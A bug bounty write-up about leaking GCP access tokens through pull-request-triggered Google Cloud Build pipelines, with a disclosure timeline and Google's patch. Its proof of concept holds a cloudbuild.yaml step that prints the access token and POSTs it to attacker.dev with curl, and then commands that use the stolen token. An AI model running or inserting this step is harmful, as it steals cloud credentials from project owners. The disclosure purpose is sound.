May I CI your GCP access token?
A lot of research has been conducted on attacking CI systems for gaining information or access to the infrastructure of targets. Some of the most interesting articles on this topic are:
- “CI Knew There Would Be Bugs Here” — Exploring Continuous Integration Services as a Bug Bounty Hunter
- Hacking Jenkins series by Orange Tsai parts 1 and 2
Google Cloud Build
I like to host my private projects on GitHub using Cloud Build as their CI system and pushing images to Container Registry (check out Artifact Registry, the next generation of Container Registry).
Cloud Build allows developers to create a YAML file on their repositories and trigger different pipelines on events defined by them. An event could be:
- New tag is pushed
- Commit is pushed to
master - Pull Request is opened
- Commit to a branch that matches a regular expression
- (…)
Cloud Build Triggers
Cloud Build can be configured to be triggered from GitHub. For more information see this guide.
The problem
Q: Wait, wait, wait! So, you can trigger a pipeline on the owner’s GCP project but the pipeline being entirely controlled by you? And you have access to
gcloudandgsutilcommands? Doesn’t that mean you can impersonate the GCP project owner?A: Yes, indeed!
Proof of Concept
Scenario
The victim has an opensource project that runs Cloud Build as their CI system and it can be triggered by Pull Requests. Let’s say the intended behaviour is to run unit tests and linters on the received PRs. Their Cloud Build trigger must be configured to run the pipeline from the cloudbuild.yaml file or any other YAML file hosted on the same repo (common use case as far as I know).
Exploit steps
The attacker creates a Pull Request modifying the pipeline to leak the access token:
steps:
- id: 'gcloud_token_leak'
name: 'gcr.io/cloud-builders/gcloud'
entrypoint: 'bash'
args:
- '-c'
- 'gcloud auth print-access-token | base64 > output && curl -k -X POST -d @output http://attacker.dev:8000/bbac'Where http://attacker.dev:8000/bbac is just an HTTP handler listening for POST requests and dumping their body to a file.
Then, the attacker decodes the leaked information and uses it to access the Google Cloud Platform API.
$ export STOLEN=$(cat dump.b64 | base64 -d)
$ curl -X GET \
-H "Authorization: Bearer ${STOLEN}" \
"https://cloudbuild.googleapis.com/v1/projects/REDACTED/triggers"
// REDACTEDIf you are wondering how the project name is leaked to the attacker, gcloud projects list does it.
$ gcloud projects list
PROJECT_ID NAME PROJECT_NUMBER
REDACTED REDACTED REDACTEDThat’s it, the GCP access token will be leaked to the attacker without the victim having to merge or approve the evil PR.
The patch
A fix was introduced to warn users while configuring a Cloud Build Trigger that gets triggered without an approval.
Timeline
| Date | Action |
|---|---|
| Apr 13, 2020 04:33PM | Initial report. Issue reported as ability to leak some private environment variables from victim |
| Apr 17, 2020 07:45PM | P4 -> P2. Assigned |
| Apr 19, 2020 01:43AM | Won’t fix. Intended bahavior |
| Apr 19, 2020 12:12PM | Exploitation scenario explained further |
| May 1, 2020 05:26PM | Triaged. P2 S2. Internal issue created |
| May 1, 2020 05:30PM | Nice catch! email |
| May 10, 2020 04:55PM | Better PoC provided. GCP REST API access token exfiltration |
| Jul 1, 2020 04:55PM | Automated message saying the report was fixed |
Reward
The panel decided not to issue a reward, unfortunately.
After asking them for more details, I got this message.
unfortunately not all bugs meet the threshold for a reward.I agree with Google’s decision as nobody knows their threat model better than them.